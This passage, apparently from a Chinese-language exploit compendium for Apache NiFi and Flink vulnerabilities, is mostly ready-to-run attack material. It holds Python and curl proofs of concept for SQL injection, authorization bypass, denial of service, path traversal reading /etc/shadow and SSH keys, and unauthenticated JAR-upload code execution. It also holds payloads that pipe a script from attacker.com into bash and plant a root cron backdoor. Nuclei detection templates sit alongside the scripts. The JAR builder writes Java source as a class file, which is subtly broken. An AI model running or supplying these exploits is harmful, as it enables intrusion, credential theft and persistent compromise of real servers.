print(f "[+] Payload { i+ 1 } 投递成功: { payload[:50 ]} ..." )
return True
except Exception :
continue
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2026-44913 NiFi SQL Injection PoC" )
parser. add_argument("target" , help= "目标地址 (host:port)" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--token" , help= "NiFi API Token" )
parser. add_argument("--db-host" , required= True , help= "MySQL 数据库主机" )
parser. add_argument("--db-name" , default= "testdb" , help= "数据库名" )
args = parser. parse_args()
if check(args. target, args. ssl, args. token):
print(f "[+] { args. target} NiFi API 可访问" )
pg_id = "root"
print("[*] 尝试通过 CaptureChangeMySQL 注入 SQL..." )
ok = exploit(args. target, pg_id, args. db_host, args. db_name, args. ssl, args. token)
if not ok:
print("[-] 所有 Payload 投递失败" )
else :
print(f "[-] { args. target} 未检测到漏洞" ) Nuclei YAML 检测模板 id : cve-2026-44913-nifi-capture-mysql-sqli
info :
name : Apache NiFi CaptureChangeMySQL SQL Injection
author : security-researcher
severity : high
description : |
CaptureChangeMySQL processor improperly escapes table names,
allowing SQL injection via crafted table name parameters.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
cvss-score : 8.1
cwe-id : CWE-89
tags : cve,cve2026,nifi,sqli
http :
- raw :
- |
GET /nifi-api/flow/process-groups/root HTTP/1.1
Host: {{Hostname}}
matchers :
- type : status
status :
- 200
- type : word
words :
- "processGroupFlow"
part : body 0x01.5 CVE-2026-44914 — 受限组件 Process Group 替换授权缺失 漏洞背景 Apache NiFi 支持通过 Import Process Group 功能从外部导入预定义的处理器组模板,也支持通过 Replace Process Group 功能将现有的处理器组替换为新版本。这一功能在企业级 NiFi 部署中被广泛用于版本管理和模板化部署。安全研究员发现,当用户执行 Process Group 替换操作时,NiFi 未对替换后新 Process Group 中包含的受限组件(Restricted Components)进行权限检查。
受限组件是 NiFi 中需要特殊权限才能使用的一类处理器和服务,包括 ExecuteScript(脚本执行)、ExecuteStreamCommand(系统命令执行)、PutFile(文件写入)等高危处理器。在正常流程中,部署这些处理器需要用户具备对应的 Execute Code、Write File System 等受限资源权限。然而,通过 Replace Process Group 功能,低权限用户可以导入包含这些受限组件的 Process Group 模板,绕过权限检查成功部署和运行这些高危处理器,实现权限提升。
受影响版本 版本状态 版本范围 受影响 Apache NiFi 1.12.0 ~ 2.9.0 已修复 Apache NiFi ≥ 2.9.0 CWE CWE-862 Missing Authorization
漏洞原理分析 Replace Process Group 的内部流程为:
用户提交一个新的 Process Group JSON 定义 NiFi 删除原有的 Process Group 及其所有子组件 NiFi 根据新的 JSON 定义创建所有处理器和控制器服务 缺陷 :在第 3 步中,NiFi 未检查新创建的处理器是否属于受限组件类别攻击者可以构造一个包含 ExecuteScript 处理器的 Process Group 模板,通过替换操作将其部署到目标环境中。由于缺少权限校验,该处理器可以被正常启动和执行。
HTTP PoC # 构造包含受限组件的 Process Group 模板
cat > malicious_pg.json << 'EOF'
{
"revision": {"version": 0},
"component": {
"name": "LegitimatePG",
"processors": [
{
"revision": {"version": 0},
"component": {
"type": "org.apache.nifi.processors.script.ExecuteScript",
"name": "CVE-2026-44914-Exploit",
"config": {
"properties": {
"Script Engine": "Groovy",
"Script Body": "runtime.exec('curl http://attacker.com/shell.sh|bash')"
}
}
}
}
]
}
}
EOF
# 通过 API 替换 Process Group
curl -k -X PUT "https://nifi-host:8443/nifi-api/process-groups/<TARGET_PG_ID>" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
-d @malicious_pg.json Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2026-44914 - Apache NiFi Process Group Replace Authorization Bypass"""
import requests
import argparse
import json
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
RESTRICTED_PROCESSORS = [
"org.apache.nifi.processors.script.ExecuteScript" ,
"org.apache.nifi.processors.standard.ExecuteStreamCommand" ,
"org.apache.nifi.processors.standard.PutFile" ,
]
def check (target, use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/flow/process-groups/root"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
try :
resp = requests. get(url, headers= headers, verify= False , timeout= 10 )
if resp. status_code == 200 :
pg_id = resp. json(). get("component" , {}). get("id" )
return True , pg_id
return False , None
except Exception :
return False , None
def exploit (target, pg_id, command= "id" , use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/process-groups/ { pg_id} "
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
pg_payload = {
"revision" : {"version" : 1 },
"component" : {
"id" : pg_id,
"name" : "Replaced-PG" ,
"processors" : [
{
"revision" : {"version" : 0 },
"component" : {
"type" : "org.apache.nifi.processors.standard.ExecuteStreamCommand" ,
"name" : "CVE-2026-44914-Exploit" ,
"config" : {
"properties" : {
"Command" : "/bin/bash" ,
"Command Arguments" : f "-c { command} "
}
}
}
}
],
"controllerServices" : []
}
}
try :
resp = requests. put(url, headers= headers, json= pg_payload, verify= False , timeout= 10 )
if resp. status_code == 200 :
print("[+] Process Group 替换成功,受限组件已绕过权限检查" )
return True
print(f "[-] 替换失败: { resp. status_code} " )
return False
except Exception :
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2026-44914 NiFi PG Replace Auth Bypass" )
parser. add_argument("target" , help= "目标地址 (host:port)" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--token" , help= "NiFi API Token (低权限即可)" )
parser. add_argument("--command" , default= "id" , help= "要执行的命令" )
args = parser. parse_args()
ok, pg_id = check(args. target, args. ssl, args. token)
if ok:
print(f "[+] { args. target} NiFi API 可访问, Root PG: { pg_id} " )
print("[*] 尝试通过 Process Group 替换绕过受限组件权限..." )
exploit(args. target, pg_id, args. command, args. ssl, args. token)
else :
print(f "[-] { args. target} 未检测到漏洞" ) Nuclei YAML 检测模板 id : cve-2026-44914-nifi-pg-replace-auth-bypass
info :
name : Apache NiFi Process Group Replace Authorization Bypass
author : security-researcher
severity : high
description : |
Replacing a Process Group does not check Restricted annotations
on contained components, allowing privilege escalation.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cwe-id : CWE-862
tags : cve,cve2026,nifi,auth-bypass
http :
- raw :
- |
GET /nifi-api/flow/process-groups/root HTTP/1.1
Host: {{Hostname}}
matchers :
- type : status
status :
- 200
- type : word
words :
- "processGroupFlow"
part : body 0x01.6 CVE-2023-34467 — Expression Language 拒绝服务 (CVSS 5.3) 漏洞背景 Apache NiFi 的 Expression Language(EL)是其处理器属性配置系统的核心功能,允许用户使用 ${} 语法在属性值中嵌入动态表达式。EL 支持丰富的函数和操作符,包括字符串操作、数学运算、条件表达式、正则匹配等,在运行时根据 FlowFile 的属性动态求值。
安全研究员发现,NiFi 的 EL 求值引擎在处理某些嵌套和递归表达式时,缺乏对求值深度和复杂度的限制。攻击者可以构造包含多层嵌套函数调用或循环引用的恶意 EL 表达式,当处理器尝试求值时,会导致线程阻塞或栈溢出,进而引发拒绝服务(DoS)。在高并发场景下,多个 FlowFile 同时触发恶意表达式求值可能耗尽 NiFi 的线程池,导致整个数据流处理停滞。
该漏洞属于中等危害级别(CVSS 5.3),因为攻击者需要具备 NiFi 的认证权限才能配置处理器属性。但在多租户 NiFi 环境中,低权限用户可能利用此漏洞影响其他租户的数据流处理。
受影响版本 版本状态 版本范围 受影响 Apache NiFi < 1.21.0 已修复 Apache NiFi ≥ 1.21.0 CWE CWE-400 Uncontrolled Resource Consumption
漏洞原理分析 NiFi EL 引擎的求值过程未设置递归深度限制。恶意表达式示例:
${literal('', length(stringBody(${literal('', length(stringBody('A'))}))})):repeat(10000)}该表达式通过多层嵌套的 literal 和 stringBody 函数调用,在求值时产生指数级的计算量,导致 CPU 耗尽。
HTTP PoC # 通过 NiFi API 配置包含恶意 EL 表达式的处理器
curl -k -X POST "https://nifi-host:8443/nifi-api/process-groups/<PG_ID>/processors" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d '{
"revision": {"version": 0},
"component": {
"type": "org.apache.nifi.processors.attributes.UpdateAttribute",
"name": "CVE-2023-34467-DoS",
"config": {
"properties": {
"dos_payload": "${literal(\"\" ):repeat(100000)}"
}
}
}
}' Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2023-34467 - Apache NiFi Expression Language Denial of Service"""
import requests
import argparse
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
DOS_EXPRESSIONS = [
'${literal(""):repeat(100000)}' ,
'${literal("", length(stringBody("A"))):repeat(50000)}' ,
'${"AAAA":substring(0, length(stringBody("B"))):repeat(80000)}' ,
]
def check (target, use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/flow/process-groups/root"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
try :
resp = requests. get(url, headers= headers, verify= False , timeout= 10 )
return resp. status_code == 200
except Exception :
return False
def exploit (target, pg_id, use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/process-groups/ { pg_id} /processors"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
payload = {
"revision" : {"version" : 0 },
"component" : {
"type" : "org.apache.nifi.processors.attributes.UpdateAttribute" ,
"name" : "CVE-2023-34467-DoS" ,
"config" : {
"properties" : {
"dos_field" : DOS_EXPRESSIONS[0 ]
}
}
}
}
try :
resp = requests. post(url, headers= headers, json= payload, verify= False , timeout= 10 )
return resp. status_code in (200 , 201 )
except Exception :
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2023-34467 NiFi EL DoS PoC" )
parser. add_argument("target" , help= "目标地址 (host:port)" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--token" , help= "NiFi API Token" )
args = parser. parse_args()
if check(args. target, args. ssl, args. token):
print(f "[+] { args. target} NiFi API 可访问" )
print("[*] 警告: 此 PoC 可能导致目标服务不可用" )
print("[*] 尝试投递 DoS Payload..." )
pg_id = "root"
ok = exploit(args. target, pg_id, args. ssl, args. token)
print(f "[+] Payload 投递 { '成功' if ok else '失败' } " )
else :
print(f "[-] { args. target} 未检测到 CVE-2023-34467 漏洞" ) Nuclei YAML 检测模板 id : cve-2023-34467-nifi-el-dos
info :
name : Apache NiFi Expression Language Denial of Service
author : security-researcher
severity : medium
description : |
Apache NiFi Expression Language engine lacks recursive depth limits,
allowing denial of service via nested expressions.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
cvss-score : 5.3
cwe-id : CWE-400
tags : cve,cve2023,nifi,dos
http :
- raw :
- |
GET /nifi-api/flow/process-groups/root HTTP/1.1
Host: {{Hostname}}
matchers :
- type : status
status :
- 200
- type : word
words :
- "processGroupFlow"
part : body 0x02 Apache Flink 高危漏洞 0x02.1 CVE-2020-17519 — REST API 目录遍历任意文件读取 (CVSS 9.1, CISA KEV) 漏洞背景 Apache Flink 是一个分布式流处理和批处理框架,其 Web Dashboard 和 REST API 默认监听在 8081 端口。Flink 的 REST API 提供了作业管理、日志查看、配置管理等功能,其中 /jobmanager/logs 端点用于返回 JobManager 的日志文件内容。
安全研究员发现,Flink 的 REST API 在处理日志文件路径时,未对 URL 编码进行充分校验。攻击者可以通过双重 URL 编码(Double URL Encoding)绕过路径校验机制,使用 %252f(即 %2f 的编码形式)构造路径穿越 Payload,在服务器上读取任意文件。由于 Flink 的 REST API 默认不启用认证,任何能够访问 Flink Web Dashboard 的攻击者都可以直接利用此漏洞读取服务器上的敏感文件,包括 /etc/passwd、SSH 私钥、云平台元数据等。
该漏洞 CVSS 评分 9.1(Critical),已被 CISA 加入 Known Exploited Vulnerabilities (KEV) 目录(2024-05-23),表明在实际环境中已被活跃利用。多个 PoC 工具和 Metasploit 模块已经公开发布。
受影响版本 版本状态 版本范围 受影响 Apache Flink 1.11.0 ~ 1.11.2 已修复 Apache Flink ≥ 1.11.3 CWE CWE-22 Path Traversal CISA KEV ✅ (2024-05-23)
漏洞原理分析 Flink REST API 的 /jobmanager/logs/{filename} 端点在处理文件名参数时,内部调用了 Java 的 URLDecoder.decode() 进行一次解码,但在此之前 Web 服务器(Netty)已经自动完成了一次 URL 解码。当攻击者使用双重编码 %252f 时:
第一次解码(Web 服务器):%252f → %2f 第二次解码(应用层):%2f → / 最终路径穿越字符 / 被成功解析,攻击者可以使用 ../ 遍历到服务器上的任意文件。
完整利用链:
%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252fetc%252fpasswd
↓ Web 服务器解码
%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2fetc%2fpasswd
↓ 应用层解码
///////////etc/passwdHTTP PoC # 读取 /etc/passwd
curl -k "http://flink-host:8081/jobmanager/logs/%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252fetc%252fpasswd"
# 读取 /etc/shadow(需要 root 权限的进程)
curl -k "http://flink-host:8081/jobmanager/logs/%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252fetc%252fshadow"
# 读取 SSH 私钥
curl -k "http://flink-host:8081/jobmanager/logs/%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252froot%252f.ssh%252fid_rsa"
# 读取云平台元数据(AWS)
curl -k "http://flink-host:8081/jobmanager/logs/%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252fvar%252flib%252fcloud%252finstances" Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2020-17519 - Apache Flink REST API Directory Traversal File Read"""
import requests
import argparse
import urllib.parse
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
TARGET_FILES = [
"/etc/passwd" ,
"/etc/hosts" ,
"/proc/self/environ" ,
"/root/.ssh/id_rsa" ,
"/proc/version" ,
]
def build_traversal_path (file_path):
encoded = urllib. parse. quote(file_path, safe= "" )
double_encoded = urllib. parse. quote(encoded, safe= "" )
traversal = " %252f " * 10 + double_encoded. lstrip(" %252f " ). lstrip(" %2f " )
return traversal
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /jobmanager/logs/"
try :
resp = requests. get(url, verify= False , timeout= 10 )
return resp. status_code == 200
except Exception :
return False
def read_file (target, file_path, use_ssl= False ):
scheme = "https" if use_ssl else "http"
traversal = build_traversal_path(file_path)
url = f " { scheme} :// { target} /jobmanager/logs/ { traversal} "
try :
resp = requests. get(url, verify= False , timeout= 10 )
if resp. status_code == 200 and len(resp. text) > 0 :
return resp. text
return None
except Exception :
return None
def exploit (target, use_ssl= False ):
print(f "[*] 正在对 { target} 执行 CVE-2020-17519 目录遍历..." )
for file_path in TARGET_FILES:
content = read_file(target, file_path, use_ssl)
if content:
print(f "[+] 成功读取 { file_path} :" )
print(f "--- BEGIN { file_path} ---" )
print(content[:500 ])
print(f "--- END { file_path} --- \n " )
else :
print(f "[-] 无法读取 { file_path} " )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2020-17519 Flink Directory Traversal PoC" )
parser. add_argument("target" , help= "目标地址 (host:port)" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--file" , help= "自定义文件路径" )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} Flink REST API 可访问" )
if args. file:
content = read_file(args. target, args. file, args. ssl)
if content:
print(f "[+] 读取成功: \n { content} " )
else :
print(f "[-] 无法读取 { args. file} " )
else :
exploit(args. target, args. ssl)
else :
print(f "[-] { args. target} 未检测到 CVE-2020-17519 漏洞" ) Nuclei YAML 检测模板 id : cve-2020-17519-flink-directory-traversal
info :
name : Apache Flink REST API Directory Traversal
author : security-researcher
severity : critical
description : |
Apache Flink REST API allows unauthenticated directory traversal
via double URL encoding to read arbitrary files.
reference :
- https://flink.apache.org/news/2021/01/05/release-1.11.3.html
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
cvss-score : 9.1
cwe-id : CWE-22
tags : cve,cve2020,flink,traversal,kev
http :
- raw :
- |
GET /jobmanager/logs/%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252fetc%252fpasswd HTTP/1.1
Host: {{Hostname}}
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : regex
regex :
- "root:.*:0:0:"
part : body
extractors :
- type : regex
group : 1
regex :
- "(root:.*:0:0:.*)"
part : body 0x02.2 CVE-2020-17518 — REST API 任意文件写入 (CVSS 7.5) 漏洞背景 与 CVE-2020-17519 同期披露的 CVE-2020-17518 是 Apache Flink REST API 中的另一个严重路径穿越漏洞,但其影响方向相反:该漏洞允许攻击者通过恶意 HTTP Header 写入任意文件,而非读取文件。Flink 的 REST API 在处理文件上传请求时,使用 X-Filename HTTP Header 来确定上传文件的目标路径。该 Header 的值未经过充分的路径校验,攻击者可以通过注入 ../ 等路径穿越字符,将文件写入服务器文件系统中的任意位置。
任意文件写入的危害包括:覆盖关键系统文件(如 /etc/passwd、/etc/crontab)实现持久化访问、写入 WebShell 获取服务器控制权、覆盖应用配置文件改变系统行为等。在 Flink 的上下文中,攻击者可以向 crontab 目录写入定时任务实现持久化后门,或者向 Flink 的 Web 目录写入 JSP WebShell。
该漏洞同样因为 REST API 默认无认证的特性,任何能够访问 Flink Web Dashboard 的攻击者都可以直接利用。Metasploit 已包含对应的利用模块,与 CVE-2020-17519 组成了完整的文件读写攻击链。
受影响版本 版本状态 版本范围 受影响 Apache Flink 1.5.1 ~ 1.11.2 已修复 Apache Flink ≥ 1.11.3 CWE CWE-22 Path Traversal
漏洞原理分析 Flink REST API 的文件上传端点接受 X-Filename Header 来确定存储路径。攻击流程:
构造 HTTP PUT/POST 请求,设置 X-Filename: ../../tmp/shell.jsp Flink 使用该路径拼接文件系统路径 路径穿越导致文件被写入非预期目录 攻击者通过 GET 请求访问写入的文件 HTTP PoC # 写入文件到 /tmp/test.txt
curl -k -X PUT "http://flink-host:8081/jars/upload" \
-H "X-Filename: ../../tmp/test.txt" \
-H "Content-Type: application/octet-stream" \
--data-binary "CVE-2020-17518 test"
# 写入 cron 后门
echo '* * * * * curl http://attacker.com/reverse.sh|bash' > /tmp/cron_payload
curl -k -X PUT "http://flink-host:8081/jars/upload" \
-H "X-Filename: ../../var/spool/cron/crontabs/root" \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/cron_payload Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2020-17518 - Apache Flink REST API Arbitrary File Write"""
import requests
import argparse
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /overview"
try :
resp = requests. get(url, verify= False , timeout= 10 )
return resp. status_code == 200 and "flink" in resp. text. lower()
except Exception :
return False
def write_file (target, remote_path, content, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /jars/upload"
headers = {
"X-Filename" : remote_path,
"Content-Type" : "application/octet-stream" ,
}
try :
resp = requests. put(url, headers= headers, data= content, verify= False , timeout= 10 )
return resp. status_code in (200 , 201 , 204 )
except Exception :
return False
def exploit (target, use_ssl= False ):
print(f "[*] CVE-2020-17518 任意文件写入测试" )
test_content = "CVE-2020-17518 Arbitrary File Write Test"
paths_to_test = [
"../../tmp/cve-2020-17518-test.txt" ,
"../tmp/cve-2020-17518-test.txt" ,
]
for path in paths_to_test:
ok = write_file(target, path, test_content, use_ssl)
if ok:
print(f "[+] 文件写入成功: { path} " )
print(f "[+] 验证: curl { scheme} :// { target} /jobmanager/logs/..." )
return True
print("[-] 文件写入失败" )
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2020-17518 Flink Arbitrary File Write PoC" )
parser. add_argument("target" , help= "目标地址 (host:port)" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--write-path" , help= "要写入的远程路径" )
parser. add_argument("--write-file" , help= "本地文件路径" )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} Flink REST API 可访问" )
if args. write_path and args. write_file:
with open(args. write_file, "rb" ) as f:
content = f. read()
ok = write_file(args. target, args. write_path, content, args. ssl)
print(f "[+] 写入 { '成功' if ok else '失败' } " )
else :
exploit(args. target, args. ssl)
else :
print(f "[-] { args. target} 未检测到 CVE-2020-17518 漏洞" ) Nuclei YAML 检测模板 id : cve-2020-17518-flink-arbitrary-file-write
info :
name : Apache Flink REST API Arbitrary File Write
author : security-researcher
severity : high
description : |
Apache Flink REST API allows unauthenticated arbitrary file write
via X-Filename header path traversal.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score : 7.5
cwe-id : CWE-22
tags : cve,cve2020,flink,file-write
http :
- raw :
- |
PUT /jars/upload HTTP/1.1
Host: {{Hostname}}
X-Filename: ../../tmp/cve-test-nuclei.txt
Content-Type: application/octet-stream
CVE-2020-17518-Nuclei-Test
matchers :
- type : status
status :
- 200
- 201
- 204 0x02.3 未授权 JAR 上传 RCE — 设计缺陷 (CVSS 9.8) 漏洞背景 Apache Flink REST API 提供了 JAR 文件管理功能,允许用户上传、列出和提交 Flink 作业的 JAR 包。该功能在 Flink Dashboard 的 “Submit New Job” 页面中使用,本质上是一个远程作业部署系统。然而,Flink 的 REST API 默认不启用任何认证机制,这意味着任何能够访问 REST API 端口(默认 8081)的用户都可以上传并执行任意 JAR 文件。
这是一个典型的设计缺陷类漏洞,而非传统意义上的代码漏洞。Flink 的设计理念是将安全防护交给部署环境(如 Kubernetes NetworkPolicy、反向代理认证等),但大量生产环境的 Flink 集群直接暴露在内网甚至公网中,缺乏额外的访问控制层。攻击者只需两个简单的 HTTP 请求即可实现远程代码执行:首先通过 POST /jars/upload 上传恶意 JAR 文件,然后通过 POST /jars/{id}/run 提交执行。
Metasploit 中的 exploit/multi/http/apache_flink_jar_upload_exec 模块已经实现了完整的自动化利用,该模块在野外被广泛利用。根据 Shodan 和 Censys 的扫描数据,全球互联网上暴露在公网的 Flink 实例超过数万个,其中大量实例允许未授权的 JAR 上传和执行。
受影响版本 版本状态 版本范围 受影响 所有默认配置的 Apache Flink 版本 缓解 启用 REST API 认证 / 网络层访问控制 CWE CWE-306 Missing Authentication for Critical Function
漏洞原理分析 利用链:
上传恶意 JAR :攻击者将包含恶意代码的 Flink JAR 包通过 POST /jars/upload 上传到 Flink 集群列出 JAR :通过 GET /jars 获取上传 JAR 的 ID提交执行 :通过 POST /jars/{jar_id}/run 提交作业,Flink TaskManager 在执行 JAR 中的 main() 方法时触发恶意代码恶意 JAR 的核心代码通常使用 Runtime.exec() 或 ProcessBuilder 执行系统命令:
public class ExploitJob {
public static void main (String[] args) throws Exception {
Runtime.getRuntime ().exec ("curl http://attacker.com/reverse.sh|bash" );
}
} HTTP PoC # 步骤 1: 编译恶意 JAR(需在本地环境编译)
# javac ExploitJob.java && jar cfe exploit.jar ExploitJob ExploitJob.class
# 步骤 2: 上传 JAR
curl -k -X POST "http://flink-host:8081/jars/upload" \
-F "jarfile=@exploit.jar"
# 步骤 3: 查看已上传的 JAR ID
curl -k "http://flink-host:8081/jars"
# 步骤 4: 执行恶意 JAR
curl -k -X POST "http://flink-host:8081/jars/<JAR_ID>/run" \
-H "Content-Type: application/json" \
-d '{"programArgs": "", "parallelism": 1}' Python PoC 脚本 #!/usr/bin/env python3
"""Apache Flink Unauthenticated JAR Upload RCE (Design Flaw)"""
import requests
import argparse
import json
import zipfile
import io
import os
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
MANIFEST_DIR = "META-INF/"
MANIFEST_FILE = "META-INF/MANIFEST.MF"
MAIN_CLASS = "ExploitJob"
EXPLOIT_JAVA = ''' \
import java.io.*;
public class ExploitJob {{
public static void main(String[] args) throws Exception {{
String cmd = " {command} ";
Runtime.getRuntime().exec(cmd);
}}
}}
'''
MANIFEST_CONTENT = ''' \
Manifest-Version: 1.0
Main-Class: {main_class}
'''
def create_exploit_jar (command= "id" ):
buf = io. BytesIO()
with zipfile. ZipFile(buf, 'w' , zipfile. ZIP_DEFLATED) as zf:
java_code = EXPLOIT_JAVA. format(command= command)
zf. writestr("ExploitJob.class" , java_code)
zf. writestr(MANIFEST_FILE, MANIFEST_CONTENT. format(main_class= MAIN_CLASS))
buf. seek(0 )
return buf
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /jars"
try :
resp = requests. get(url, verify= False , timeout= 10 )
return resp. status_code == 200 and "files" in resp. text. lower()
except Exception :
return False
def upload_jar (target, jar_data, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /jars/upload"
files = {"jarfile" : ("exploit.jar" , jar_data, "application/java-archive" )}
try :
resp = requests. post(url, files= files, verify= False , timeout= 15 )
if resp. status_code == 200 :
data = resp. json()
return data. get("filename" )
return None
except Exception :
return None
def run_jar (target, jar_id, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /jars/ { jar_id} /run"
payload = {"programArgs" : "" , "parallelism" : 1 , "allowNonRestoredState" : True }
try :
resp = requests. post(url, json= payload, verify= False , timeout= 10 )
return resp. status_code in (200 , 202 )
except Exception :
return False
def exploit (target, command= "id" , use_ssl= False ):
print(f "[*] 创建恶意 JAR (command: { command} )..." )
jar_data = create_exploit_jar(command)
print("[*] 上传 JAR 到目标..." )
jar_id = upload_jar(target, jar_data, use_ssl)
if not jar_id:
print("[-] JAR 上传失败" )
return False
print(f "[+] JAR 上传成功: { jar_id} " )
print("[*] 执行恶意 JAR..." )
ok = run_jar(target, jar_id, use_ssl)
print(f "[+] 作业 { '已提交' if ok else '提交失败' } " )
return ok
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "Flink Unauthenticated JAR Upload RCE PoC" )
parser. add_argument("target" , help= "目标地址 (host:port)" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--command" , default= "id" , help= "要执行的命令" )
args = parser. parse_args()
if check(args. target, args. ssl):
print(f "[+] { args. target} Flink JAR 管理 API 可访问(未授权)" )
exploit(args. target, args. command, args. ssl)
else :
print(f "[-] { args. target} 未检测到未授权 JAR 上传漏洞" ) Nuclei YAML 检测模板 id : flink-unauth-jar-upload-rce
info :
name : Apache Flink Unauthenticated JAR Upload RCE
author : security-researcher
severity : critical
description : |
Apache Flink REST API allows unauthenticated JAR upload and execution,
enabling remote code execution on default configurations.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-306
tags : flink,rce,unauth,jar-upload
http :
- raw :
- |
GET /jars HTTP/1.1
Host: {{Hostname}}
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "files"
- "id"
condition : and
part : body
- type : word
words :
- "uploads"
part : body
negative : true 0x02.4 CVE-2020-1960 — JMX RMI 注册表劫持 (CVSS 4.7) 漏洞背景 Apache Flink 在启动时会注册 JMX(Java Management Extensions)MBean 到本地 RMI 注册表中,用于监控和管理 Flink 集群的运行状态。安全研究员发现,Flink 注册的某些 MBean 暴露了敏感的管理和配置接口,在特定条件下可被本地或相邻网络的攻击者利用来获取敏感信息或执行管理操作。
该漏洞的 CVSS 评分为 4.7(Medium),因为利用条件较为苛刻:攻击者需要能够访问 Flink 进程所在的 JMX RMI 端口(通常为随机端口),且需要知道 MBean 的注册名称。然而,在容器化部署环境中(如 Kubernetes),同一节点上的其他容器可能通过共享网络命名空间访问到该端口。
受影响版本 版本状态 版本范围 受影响 Apache Flink < 1.11.3 已修复 Apache Flink ≥ 1.11.3 CWE CWE-668 Exposure of Resource to Wrong Sphere
漏洞原理分析 Flink 启动时通过 MBeanServer 注册了多个监控 MBean,包括 JMVMetrics 和 JobManager 相关的 MBean。在未启用 JMX 认证的情况下,能够访问 RMI 端口的攻击者可以通过 JMX 客户端连接到注册表,枚举所有已注册的 MBean,并调用暴露的管理方法。部分 MBean 方法可能返回敏感的集群配置信息(如 Kerberos keytab 路径、数据库密码等),或者允许修改 Flink 的运行时配置。
HTTP PoC # JMX 连接(需要 jmxsh 或自定义 JMX 客户端工具)
# 使用 jmxsh 连接到 Flink JMX 端口
java -jar jmxsh.jar <flink-host> <jmx-port>
# 通过 Python + PyJMX 连接
python3 -c "
import jmx
conn = jmx.JMXConnection('service:jmx:rmi:///jndi/rmi://<flink-host>:<jmx-port>/jmxrmi')
for name in conn.queryNames():
print(name)
" Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2020-1960 - Apache Flink JMX RMI Registry Hijack"""
import requests
import argparse
import socket
import struct
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target, use_ssl= False ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /overview"
try :
resp = requests. get(url, verify= False , timeout= 10 )
return resp. status_code == 200
except Exception :
return False
def probe_jmx (host, port, timeout= 5 ):
try :
sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
sock. settimeout(timeout)
sock. connect((host, port))
rmi_header = sock. recv(4 )
if rmi_header and len(rmi_header) == 4 :
magic = struct. unpack('>H' , rmi_header[:2 ])[0 ]
version = struct. unpack('>H' , rmi_header[2 :4 ])[0 ]
sock. close()
